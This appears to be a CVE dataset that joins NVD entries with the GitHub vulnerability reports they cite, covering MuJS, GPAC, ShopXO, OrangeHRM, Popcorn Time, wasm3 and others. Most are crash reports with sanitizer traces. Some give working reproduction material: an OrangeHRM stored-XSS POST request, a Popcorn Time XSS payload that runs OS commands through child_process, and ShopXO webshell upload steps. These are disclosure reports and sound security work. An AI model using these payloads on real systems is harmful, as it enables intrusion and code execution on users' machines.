Network metadata service does not appear to support changing regular metadata attributes via the metadata service. [Guest attributes](https://cloud.google.com/compute/docs/metadata/manage-guest-attributes) can be changed from the guest, but the `user-data` attribute is not one of those. Some additional discussion in https://github.com/coreos/fedora-coreos-docs/issues/306.
## Packet
Network metadata service does not appear to support changing userdata.
## qemu
fw_cfg userdata is only accessible by root. Write support was removed in https://github.com/qemu/qemu/commit/023e3148567ac898c7258138f8e86c3c2bb40d07.
We also support config drives on non-x86_64.
## VirtualBox
Guest properties can be modified from inside the guest. They're [documented](https://docs.oracle.com/en/virtualization/virtualbox/6.0/user/guestadd-guestprops.html) as being accessible only to root, but it still seems useful to remove userdata.
## VMware
Userdata is accessible by non-root users. It can be stored directly in guestinfo or in an XML document in guestinfo, and we'd have to handle both cases. See #1300. | Consider deleting userdata from provider after Ignition completes | https://api.github.com/repos/coreos/ignition/issues/1315/comments | 11 | 2022-01-29T21:54:19Z | 2022-05-03T15:46:42Z | https://github.com/coreos/ignition/issues/1315 | 1,118,336,022 | 1,315 | 3,615 |
CVE-2022-24890 | 2022-05-17T19:15:08.470 | Nextcloud Talk is a video and audio conferencing app for Nextcloud. In versions prior to 13.0.5 and 14.0.0, a call moderator can indirectly enable user webcams by granting permissions, if they were enabled before removing the permissions. A patch is available in versions 13.0.5 and 14.0.0. There are currently no known workarounds. | {
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"276"
] | 276 | https://github.com/nextcloud/spreed/issues/7048 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"nextcloud",
"spreed"
] | <!--- Please keep this note for other contributors -->
### How to use GitHub
* Please use the 👍 [reaction](https://blog.github.com/2016-03-10-add-reactions-to-pull-requests-issues-and-comments/) to show that you are affected by the same issue.
* Please don't comment if you have no relevant information to add. It's just extra noise for everyone subscribed to this issue.
* Subscribe to receive notifications on status change and new comments.
---
## Steps to reproduce
1. As user A create a room with group 1 where user B is a member of
2. As user A set custom permissions for user B only change to remove the camera permission
3. As user A start a call
4. As user B try to join the call
### Expected behaviour
User B can join and talk
### Actual behaviour
User B is disconnecting and connecting all the time
## Talk app
**Talk app version:** master
**Custom Signaling server configured:** no
**Custom TURN server configured:** no
**Custom STUN server configured:** no
## Browser
**Microphone available:** yes - using fake stream
**Camera available:** yes - using fake stream
**Operating system:** Ubuntu
**Browser name:** Firefox
**Browser version:** 96
### Browser log
| Connection can not be established without camera permission | https://api.github.com/repos/nextcloud/spreed/issues/7048/comments | 2 | 2022-03-24T08:52:02Z | 2022-04-04T10:47:53Z | https://github.com/nextcloud/spreed/issues/7048 | 1,179,197,290 | 7,048 | 3,616 |
CVE-2022-30974 | 2022-05-18T11:15:15.337 | compile in regexp.c in Artifex MuJS through 1.2.0 results in stack consumption because of unlimited recursion, a different issue than CVE-2019-11413. | {
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] | 674 | https://github.com/ccxvii/mujs/issues/162 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"ccxvii",
"mujs"
] | ## Brief summary
Hello, I was testing my fuzzer and found an echaustion bug in mujs. A stack exhaustion in function compile will be triggered when parsing a crafted js file, when `running ./mujs $POC`, as shown in the attachment
## Compiling the program
I compile mujs's latest commit https://github.com/ccxvii/mujs/commit/db110ea88edde20cfdd76a7162de751fefcc1fde in ubuntu 22 (docker image) with clang version 12.0.1.
With command `CC=clang make build=sanitize`
***In my test environment this bug cannot be reproduced if compiled via gcc so it's recommended to compile with clang-12***
## ASan output
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2685261==ERROR: AddressSanitizer: stack-overflow on address 0x7fff23e67f98 (pc 0x0000005424b3 bp 0x7fff23e683b0 sp 0x7fff23e67fa0 T0)
#0 0x5424b3 in compile /benchmark/mujs/./regexp.c:674:11
#1 0x5424f9 in compile /benchmark/mujs/./regexp.c:675:3
#2 0x5424f9 in compile /benchmark/mujs/./regexp.c:675:3
#3 0x5424f9 in compile /benchmark/mujs/./regexp.c:675:3
#4 0x5424f9 in compile /benchmark/mujs/./regexp.c:675:3
#5 0x5424f9 in compile /benchmark/mujs/./regexp.c:675:3
#6 0x5424f9 in compile /benchmark/mujs/./regexp.c:675:3
#7 0x5424f9 in compile /benchmark/mujs/./regexp.c:675:3
...
#248 0x5424f9 in compile /benchmark/mujs/./regexp.c:675:3
SUMMARY: AddressSanitizer: stack-overflow /benchmark/mujs/./regexp.c:674:11 in compile
==2685261==ABORTING
```
## POC
[poc0.zip](https://github.com/ccxvii/mujs/files/8694862/poc0.zip)
## Credit
Han Zheng
[NCNIPC of China](http://www.nipc.org.cn/)
[Hexhive](http://hexhive.epfl.ch/)
| [BUG] stack exhaustion in function `compile`, mujs | https://api.github.com/repos/ccxvii/mujs/issues/162/comments | 4 | 2022-05-15T11:55:53Z | 2022-08-03T09:45:30Z | https://github.com/ccxvii/mujs/issues/162 | 1,236,266,957 | 162 | 3,617 |
CVE-2022-30975 | 2022-05-18T11:15:15.397 | In Artifex MuJS through 1.2.0, jsP_dumpsyntax in jsdump.c has a NULL pointer dereference, as demonstrated by mujs-pp. | {
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"476"
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"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"ccxvii",
"mujs"
] | ## Brief summary
Hello, I was testing my fuzzer and found several bugs in mujs-pp.
## Compiling the program
I compile mujs's latest commit db110ea88edde20cfdd76a7162de751fefcc1fde in ubuntu 22 (docker image) with gcc 11.2.0-19ubuntu1.
With command `make build=sanitize`
## BUG1
When parsing an incorrect argument (e.g. `./build/sanitize/mujs-pp -h`), a null pointer deference will be triggered. mujs-pp might didn't check the argument it parsed.
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1229272==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f182f7a1cfb bp 0x000000000000 sp 0x7fff2b38aa10 T0)
==1229272==The signal is caused by a READ memory access.
==1229272==Hint: address points to the zero page.
#0 0x7f182f7a1cfb in _IO_fclose (/lib/x86_64-linux-gnu/libc.so.6+0x82cfb)
#1 0x7f182fabee48 in __interceptor_fclose ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:6233
#2 0x7f182fabee48 in __interceptor_fclose ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:6228
#3 0x55c4ca90b44d in js_ppfile /benchmark/mujs/pp.c:37
#4 0x55c4ca90b985 in main /benchmark/mujs/pp.c:106
#5 0x7f182f74cd8f (/lib/x86_64-linux-gnu/libc.so.6+0x2dd8f)
#6 0x7f182f74ce3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2de3f)
#7 0x55c4ca8a59c4 in _start (/benchmark/mujs/build/sanitize/mujs-pp+0x169c4)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x82cfb) in _IO_fclose
==1229272==ABORTIN
```
## BUG2
A null pointer deference in jsP_dumpsyntax will be triggered when parsing a crafted js file, when running `./mujs-pp $POC`, as shown in the attachment
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1412001==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55faed39dd7e bp 0x7ffe11e19bb0 sp 0x7ffe11e19b90 T0)
==1412001==The signal is caused by a READ memory access.
==1412001==Hint: address points to the zero page.
#0 0x55faed39dd7e in jsP_dumpsyntax /benchmark/mujs/jsdump.c:685
#1 0x55faed3ea327 in js_ppstring /benchmark/mujs/pp.c:24
#2 0x55faed3ea704 in js_ppfile /benchmark/mujs/pp.c:77
#3 0x55faed3ea985 in main /benchmark/mujs/pp.c:106
#4 0x7f5c97280d8f (/lib/x86_64-linux-gnu/libc.so.6+0x2dd8f)
#5 0x7f5c97280e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2de3f)
#6 0x55faed3849c4 in _start (/benchmark/mujs/build/sanitize/mujs-pp+0x169c4)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /benchmark/mujs/jsdump.c:685 in jsP_dumpsyntax
==1412001==ABORTING
```
### POC for bug 2
[crash.zip](https://github.com/ccxvii/mujs/files/8688695/crash.zip)
## Credit
Han Zheng ([NCNIPC of China](http://www.nipc.org.cn/), [Hexhive](http://hexhive.epfl.ch/))
Yin Li, Xiaotong Jiao (NCNIPC of China)
| [BUG] two null pointer deference mujs-pp | https://api.github.com/repos/ccxvii/mujs/issues/161/comments | 0 | 2022-05-13T14:42:02Z | 2022-08-25T08:00:25Z | https://github.com/ccxvii/mujs/issues/161 | 1,235,335,553 | 161 | 3,618 |
CVE-2022-30976 | 2022-05-18T11:15:15.460 | GPAC 2.0.0 misuses a certain Unicode utf8_wcslen (renamed gf_utf8_wcslen) function in utils/utf.c, resulting in a heap-based buffer over-read, as demonstrated by MP4Box. | {
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"125"
] | 125 | https://github.com/gpac/gpac/issues/2179 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Thanks for reporting your issue. Please make sure these boxes are checked before submitting your issue - thank you!
- [x] I looked for a similar issue and couldn't find any.
- [x] I tried with the latest version of GPAC. Installers available at http://gpac.io/downloads/gpac-nightly-builds/
- [x] I give enough information for contributors to reproduce my issue (meaningful title, github labels, platform and compiler, command-line ...). I can share files anonymously with this dropbox: https://www.mediafire.com/filedrop/filedrop_hosted.php?drop=eec9e058a9486fe4e99c33021481d9e1826ca9dbc242a6cfaab0fe95da5e5d95
Detailed guidelines: http://gpac.io/2013/07/16/how-to-file-a-bug-properly/
## Describe the bug
There is a heap-overflow bug in gf_utf8_wcslen, utils/utf.c:442, can be triggered via MP4Box+ ASan
## Step to reproduce
./configure --enable-sanitizer && make -j$(nproc)
./MP4Box -diso poc
## Sanitizer output
```
[isom] invalid tag size in Xtra !
[isom] not enough bytes in box Xtra: 4 left, reading 8 (file isomedia/box_code_base.c, line 12849), skipping box
[iso file] Box "Xtra" (start 24) has 4 extra bytes
[iso file] Read Box type 00000001 (0x00000001) at position 92 has size 0 but is not at root/file level. Forbidden, skipping end of parent box !
[iso file] Box "moof" (start 84) has 8 extra bytes
[iso file] Movie fragment but no moov (yet) - possibly broken parsing!
[iso file] Box "vwid" (start 204) has 5 extra bytes
[iso file] Unknown top-level box type 00000B01
[iso file] Incomplete box 00000B01 - start 264 size 34164724
[iso file] Incomplete file while reading for dump - aborting parsing
=================================================================
==2183542==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000011d6 at pc 0x7f95a4f4ec68 bp 0x7ffdfa692370 sp 0x7ffdfa692360
READ of size 2 at 0x6020000011d6 thread T0
#0 0x7f95a4f4ec67 in gf_utf8_wcslen utils/utf.c:442
#1 0x7f95a4f4ec67 in gf_utf8_wcslen utils/utf.c:438
#2 0x7f95a542a073 in xtra_box_dump isomedia/box_dump.c:6471
#3 0x7f95a543161d in gf_isom_box_dump isomedia/box_funcs.c:2108
#4 0x7f95a53f7dd9 in gf_isom_dump isomedia/box_dump.c:138
#5 0x55aea7254fbc in dump_isom_xml /home/hzheng/real-validate/gpac/applications/mp4box/filedump.c:2053
#6 0x55aea7239707 in mp4boxMain /home/hzheng/real-validate/gpac/applications/mp4box/main.c:6177
#7 0x7f95a2a160b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#8 0x55aea7215aed in _start (/home/hzheng/real-validate/gpac/bin/gcc/MP4Box+0xa9aed)
0x6020000011d6 is located 0 bytes to the right of 6-byte region [0x6020000011d0,0x6020000011d6)
allocated by thread T0 here:
#0 0x7f95a8767bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
#1 0x7f95a53dc17b in xtra_box_read isomedia/box_code_base.c:12875
#2 0x7f95a542d3c3 in gf_isom_box_read isomedia/box_funcs.c:1860
#3 0x7f95a542d3c3 in gf_isom_box_parse_ex isomedia/box_funcs.c:271
#4 0x7f95a542e815 in gf_isom_parse_root_box isomedia/box_funcs.c:38
#5 0x7f95a545789c in gf_isom_parse_movie_boxes_internal isomedia/isom_intern.c:373
#6 0x7f95a545da0f in gf_isom_parse_movie_boxes isomedia/isom_intern.c:860
#7 0x7f95a545da0f in gf_isom_open_file isomedia/isom_intern.c:980
#8 0x55aea723f1ed in mp4boxMain /home/hzheng/real-validate/gpac/applications/mp4box/main.c:5990
#9 0x7f95a2a160b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
SUMMARY: AddressSanitizer: heap-buffer-overflow utils/utf.c:442 in gf_utf8_wcslen
Shadow bytes around the buggy address:
0x0c047fff81e0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff81f0: fa fa 00 07 fa fa 07 fa fa fa fd fa fa fa 04 fa
0x0c047fff8200: fa fa 00 02 fa fa fd fa fa fa 00 07 fa fa 00 00
0x0c047fff8210: fa fa 00 00 fa fa 00 fa fa fa fd fa fa fa 00 04
0x0c047fff8220: fa fa 00 00 fa fa 00 fa fa fa 00 00 fa fa 01 fa
=>0x0c047fff8230: fa fa 06 fa fa fa 01 fa fa fa[06]fa fa fa 00 00
0x0c047fff8240: fa fa fd fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==2183542==ABORTING
```
## version
system: ubuntu 20.04.3 LTS
compiler: gcc 9.3.0
gpac version: latest commit https://github.com/gpac/gpac/commit/a4015fa4fc99fd3e7a62be0fe6bd565e1dded030
## Credit
Han Zheng
[NCNIPC of China](http://www.nipc.org.cn)
[Hexhive](http://hexhive.epfl.ch/)
## POC
[POC.zip](https://github.com/gpac/gpac/files/8555402/POC.zip)
| [BUG] heap buffer overflow in gf_utf8_wcslen, utils/utf.c:442 | https://api.github.com/repos/gpac/gpac/issues/2179/comments | 4 | 2022-04-25T14:26:20Z | 2023-03-07T12:37:47Z | https://github.com/gpac/gpac/issues/2179 | 1,214,594,854 | 2,179 | 3,619 |
CVE-2021-41938 | 2022-05-19T14:15:07.880 | An issue was discovered in ShopXO CMS 2.2.0. After entering the management page, there is an arbitrary file upload vulnerability in three locations. | {
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"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
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"exploitabilityScore": 8,
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"434"
] | 434 | https://github.com/gongfuxiang/shopxo/issues/64 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"gongfuxiang",
"shopxo"
] | Affects version `shopxo 2.2.0`
After entering the management page as admininstrator there is an arbitrary file upload vulnerability in 3 locations , you can upload webshell into the site.
## The first location:
`网站管理->主题管理->主题安装`
the post url is `/admin.php?s=theme/upload.html`
the step is:
1. download the default theme from [offical(https://shopxo.store/goods-80.html)](https://shopxo.store/goods-80.html)
2. unzip the zip
3. Only delete files with "php" suffix due to file security check, new a evil file named phpinfo.pHp or phpinfo.phtml in the "css" folder and the root folder
4. Recompress the file as a new zip file
5. upload it
you will find the evil file is in `public/static/index/<your renamed folder name>/css/phpinfo.pHp` and `app/index/view/<your renamed folder name>/phpinfo.pHp`
## The second location:
`应用中心->应用管理->上传应用`
the post url is `/admin.php?s=pluginsadmin/upload.html`
like the first location
1. download a casual plugin from [offical(https://shopxo.store/goods-75.html)](https://shopxo.store/goods-75.html) like this
2. unzip the zip
3. new a evil file named phpinfo.php in the `_controller_-><pluginname>->admin` folder
4. Recompress the file as a new zip file
5. upload it
you will find the evil file is in `app/plugins/freightfee/admin/phpinfo.php`
## The third location:
`手机管理->小程序列表->主题安装`
the post url is `/admin.php?s=appmini/themeupload.html`
the step is
1. new a evil file `phpinfo.php` and compress the file as a new zip file
2. upload it
you will find the evil file in `sourcecode/weixin/phpinfo.php`
| After entering the management page，there is an arbitrary file upload vulnerability in 3 locations | https://api.github.com/repos/gongfuxiang/shopxo/issues/64/comments | 0 | 2021-09-30T03:31:31Z | 2021-09-30T09:42:11Z | https://github.com/gongfuxiang/shopxo/issues/64 | 1,011,662,447 | 64 | 3,620 |
CVE-2022-28948 | 2022-05-19T20:15:10.567 | An issue in the Unmarshal function in Go-Yaml v3 causes the program to crash when attempting to deserialize invalid input. | {
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"version": "2.0"
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"scope": "UNCHANGED",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
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"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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} | [
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"tags": [
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"url": "https://github.com/go-yaml/yaml/issues/666"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://security.netapp.com/advisory/ntap-20220923-0006/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
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"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
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"url": "https://security.netapp.com/advisory/ntap-20220923-0006/"
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"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"go-yaml",
"yaml"
] | Hi folks 👋🏻 Found this panic (along with #665) while fuzzing my own project.
Minimal example of the panic (https://play.golang.org/p/gLM_eHzcrgz):
```go
package main
import (
"gopkg.in/yaml.v3"
)
func main() {
var t interface{}
yaml.Unmarshal([]byte("0: [:!00 \xef"), &t)
}
```
Output:
```
panic: internal error: attempted to parse unknown event (please report): none [recovered]
panic: internal error: attempted to parse unknown event (please report): none
goroutine 1 [running]:
gopkg.in/yaml%2ev3.handleErr(0xc000043f60)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/yaml.go:294 +0x85
panic(0x50f120, 0xc000010330)
/usr/local/go-faketime/src/runtime/panic.go:969 +0x1b9
gopkg.in/yaml%2ev3.(*parser).parse(0xc000036c00, 0x0)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/decode.go:163 +0x277
gopkg.in/yaml%2ev3.(*parser).parseChild(...)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/decode.go:194
gopkg.in/yaml%2ev3.(*parser).sequence(0xc000036c00, 0xc00000e007)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/decode.go:259 +0xff
gopkg.in/yaml%2ev3.(*parser).parse(0xc000036c00, 0x0)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/decode.go:154 +0xe7
gopkg.in/yaml%2ev3.(*parser).parseChild(0xc000036c00, 0xc00007e3c0, 0xc00007e460)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/decode.go:194 +0x2f
gopkg.in/yaml%2ev3.(*parser).mapping(0xc000036c00, 0x9)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/decode.go:285 +0x1ad
gopkg.in/yaml%2ev3.(*parser).parse(0xc000036c00, 0xc000000003)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/decode.go:152 +0x10d
gopkg.in/yaml%2ev3.(*parser).parseChild(...)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/decode.go:194
gopkg.in/yaml%2ev3.(*parser).document(0xc000036c00, 0x3)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/decode.go:203 +0x8b
gopkg.in/yaml%2ev3.(*parser).parse(0xc000036c00, 0x0)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/decode.go:156 +0x87
gopkg.in/yaml%2ev3.unmarshal(0xc00002c590, 0xa, 0xa, 0x50a080, 0xc000010320, 0x0, 0x0, 0x0)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/yaml.go:161 +0x26a
gopkg.in/yaml%2ev3.Unmarshal(...)
/tmp/gopath818249317/pkg/mod/gopkg.in/yaml.v3@v3.0.0-20200615113413-eeeca48fe776/yaml.go:89
main.main()
/tmp/sandbox604520862/prog.go:9 +0x99
``` | v3: panic "attempted to parse unknown event (please report): none" | https://api.github.com/repos/go-yaml/yaml/issues/666/comments | 26 | 2020-10-21T17:29:20Z | 2024-08-16T13:02:32Z | https://github.com/go-yaml/yaml/issues/666 | 726,709,263 | 666 | 3,621 |
CVE-2022-28985 | 2022-05-20T02:15:07.313 | A stored cross-site scripting (XSS) vulnerability in the addNewPost component of OrangeHRM v4.10.1 allows attackers to execute arbitrary web scripts or HTML via a crafted POST request. | {
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] | github.com | [
"orangehrm",
"orangehrm"
] | **Environment details**
OrangeHRM version: 4.10.1
OrangeHRM source: Release build from [Sourceforge](https://sourceforge.net/projects/orangehrm) or Git clone
Platform: Ubuntu
PHP version: 7.3.33
Database and version: MariaDB 10.3
Web server: Apache 2.4.52
If applicable:
Browser: Firefox
**Describe the bug**
Insufficient input validation in Buzz - `addNewPost` API results in Stored Cross Site Scripting attack. An attacker - who is an authenticated user - can craft a malicious request causing malicious Javascript to execute in the browser of any other user. The malicious Javascript can trigger when a victim user visits the Buzz page.
**To Reproduce**
1. Authenticate to the user dashboard.
2. Visit 'Buzz' page
3. Collect the CSRF token from the HTML response. It can be found in an 'input' field with the id `createPost__csrf_token`. Example :
```
<input type="hidden" name="createPost[_csrf_token]" value="8d7f3ee80979a1360fb445a6ffa1ffec" id="createPost__csrf_token">
```
4. Collect the logged in user cookie `_orangehrm`
5. Fire the following POST request including the CSRF token and cookie obtained. Replace the Host header too :
```
POST /symfony/web/index.php/buzz/addNewPost HTTP/1.1
Host: 1.2.3.44
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 173
Origin: http://54.165.4.147
Connection: close
Cookie: Loggedin=True; _orangehrm=qod7ejr1fqjtvtnm27i62ltcrb
createPost%5Bcontent%5D=content&createPost%5BlinkAddress%5D=javascript:alert(1221)&createPost%5BlinkTitle%5D=xss&createPost%5BlinkText%5D=&createPost%5B_csrf_token%5D=cb38d12166e154ded1869000c43c1ea5
```
6. Click on the link 'xss' in the most recent post.
**Expected behavior**
The value of parameters `createPost[linkTitle]` and `createPost[linkAddress]` should be validated by API and an error should be thrown.
**What do you see instead:**
The malicious payload gets submitted successfully and get's stored in the posting made by the user.
**Screenshots**
**Technical Details**
A logged in user can post status updates to their buzz feed. From the front-end application a user will be able to post a text within a single field which says "What's on your mind" to the buzz feed. This happens via a POST request to the URL `/symfony/web/index.php/buzz/addNewPost` through the `createPost[content]` request body parameter. While investigating this API, we found that there are extra parameter fields in the body of this API which is not directly exposed through the frontend application.
The following request body parameters found in the API results certain profound effects in the HTML response sent by server:
1. `createPost[linkAddress]`
Causes the addition of an `<a>` anchor tag in response with id `linkTitle` & with attribute `src` with the value set for `createPost[linkAddress]` parameter.
2. `createPost[linkTitle]`
Causes an `<a>` anchor tag in response with id `linkTitle` which is click able and displayed with the text content sent in the above request parameter.
Combining the above 2 parameters, it's possible to get an anchor HTML tag with a visible clickable text and a desired URL as src which is clickable.
The URL payload could be javascript as `javascript:alert(121)`. This can result in execution of arbitrary malicious javascript code on the client side if the victim clicks on this link.
The impact of this can be severe since this particular code gets stored in the database and gets delivered to the feed of every logged-in user in orangeHRM. Every user will have this delivered through their 'Buzz' feed.
In terms of impact, this vulnerability enables an attacker to stealing CSRF token and perform arbitrary actions on the website on behalf of the victim user. | Stored XSS in "Update Status" section under "OrangeBuzz" via the GET/POST parameters `createPost[linkTitle]` and `createPost[linkAddress]` | https://api.github.com/repos/orangehrm/orangehrm/issues/1217/comments | 9 | 2022-04-07T12:40:53Z | 2022-05-09T07:59:24Z | https://github.com/orangehrm/orangehrm/issues/1217 | 1,195,990,659 | 1,217 | 3,622 |
CVE-2022-25229 | 2022-05-20T11:15:07.427 | Popcorn Time 0.4.7 has a Stored XSS in the 'Movies API Server(s)' field via the 'settings' page. The 'nodeIntegration' configuration is set to on which allows the 'webpage' to use 'NodeJs' features, an attacker can leverage this to run OS commands. | {
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] | github.com | [
"popcorn-official",
"popcorn-desktop"
] | Our security team found a security issue inside Popcorn Time 0.4.7. We have reserved the CVE-2022-25229 to refer to this issue. Attached below is the link to our responsible disclosure policy.
https://fluidattacks.com/advisories/policy
# Bug description
Popcorn Time **0.4.7** has a Stored XSS in the `Movies API Server(s)` field via the `settings` page. The `nodeIntegration` configuration is set to **on** which allows the webpage to use `NodeJs` features, an attacker can leverage this to run OS commands.
## CVSSv3 Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N
## CVSSv3 Base Score:
7.7
## Steps to reproduce
1. Open the Popcorn time application.
2. Go to `settings`.
3. Enable `Show advanced settings`.
4. Scroll down to the `API Server(s)` section.
5. Insert the following PoC inside the `Movies API Server(s)` field and click on `Check for updates`.
```javascript
a"><script>require('child_process').exec('calc');</script>
```
6. Scroll down to the `Database` section and click on `Export database`.
7. The application will create a `.zip` file with the current configuration.
8. Send the configuration to the victim.
9. The victim must go to `Settings -> Database` and click on `Import Database`
10. When the victim restarts the application the XSS will be triggered and will run the `calc` command.
## Screenshots and files
## System Information
* Version: Popcorn Time 0.4.7.
* Operating System: Windows 10.0.19042 N/A Build 19042.
* Installer: Popcorn-Time-0.4.7-win64-Setup.exe | Popcorn Time 0.4.7 - XSS to RCE | https://api.github.com/repos/popcorn-official/popcorn-desktop/issues/2491/comments | 0 | 2022-04-26T20:46:04Z | 2022-05-07T12:48:49Z | https://github.com/popcorn-official/popcorn-desktop/issues/2491 | 1,216,459,644 | 2,491 | 3,623 |
CVE-2022-28990 | 2022-05-20T19:15:07.983 | WASM3 v0.5.0 was discovered to contain a heap overflow via the component /wabt/bin/poc.wasm. | {
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] | 787 | https://github.com/wasm3/wasm3/issues/323 | [
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"Issue Tracking",
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] | github.com | [
"wasm3",
"wasm3"
] | the WASI API which uses iovs is not check the iovs' buf address and buf length,it would result in out of buffer.
run the poc,you will see the memory information leak
<img width="862" alt="image" src="https://user-images.githubusercontent.com/8328321/162264519-c1b3548b-d08a-4784-b6f3-a68ad38d0f7b.png">
If you build with asan,you will see that buffer-overflow detected
root@ubuntu:~/Desktop# ./m3 ~/Desktop/wabt/bin/poc.wasm
=================================================================
==44312==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x631000038818 at pc 0x7f3b4c5ce93e bp 0x7ffcdce54020 sp 0x7ffcdce537c8
READ of size 28672 at 0x631000038818 thread T0
#0 0x7f3b4c5ce93d (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x4c93d)
.............
[poc.wasm.zip](https://github.com/wasm3/wasm3/files/8445329/poc.wasm.zip)
| Heap Overflow in WASI read/write API | https://api.github.com/repos/wasm3/wasm3/issues/323/comments | 1 | 2022-04-07T17:45:08Z | 2022-04-13T17:55:32Z | https://github.com/wasm3/wasm3/issues/323 | 1,196,371,655 | 323 | 3,624 |
CVE-2022-29185 | 2022-05-20T20:15:10.140 | totp-rs is a Rust library that permits the creation of 2FA authentification tokens per time-based one-time password (TOTP). Prior to version 1.1.0, token comparison was not constant time, and could theorically be used to guess value of an TOTP token, and thus reuse it in the same time window. The attacker would have to know the password beforehand nonetheless. Starting with patched version 1.1.0, the library uses constant-time comparison. There are currently no known workarounds. | {
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CVE-2022-29202 | 2022-05-20T23:15:44.470 | TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, the implementation of `tf.ragged.constant` does not fully validate the input arguments. This results in a denial of service by consuming all available memory. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue. | {
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"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"tensorflow",
"tensorflow"
] | <em>Please make sure that this is a bug. As per our
[GitHub Policy](https://github.com/tensorflow/tensorflow/blob/master/ISSUES.md),
we only address code/doc bugs, performance issues, feature requests and
build/installation issues on GitHub. tag:bug_template</em>
**System information**
- Have I written custom code (as opposed to using a stock example script provided in TensorFlow): yes
- OS Platform and Distribution (e.g., Linux Ubuntu 16.04):
- Mobile device (e.g. iPhone 8, Pixel 2, Samsung Galaxy) if the issue happens on mobile device:
- TensorFlow installed from (source or binary):
- TensorFlow version (use command below):2.8.0
- Python version: 3.7.12
- Bazel version (if compiling from source):
- GCC/Compiler version (if compiling from source):
- CUDA/cuDNN version: using a colab notebook
- GPU model and memory: using a colab notebook
You can collect some of this information using our environment capture
[script](https://github.com/tensorflow/tensorflow/tree/master/tools/tf_env_collect.sh)
You can also obtain the TensorFlow version with:
1. TF 1.0: `python -c "import tensorflow as tf; print(tf.GIT_VERSION, tf.VERSION)"`
2. TF 2.0: `python -c "import tensorflow as tf; print(tf.version.GIT_VERSION, tf.version.VERSION)"`
**Describe the current behavior**
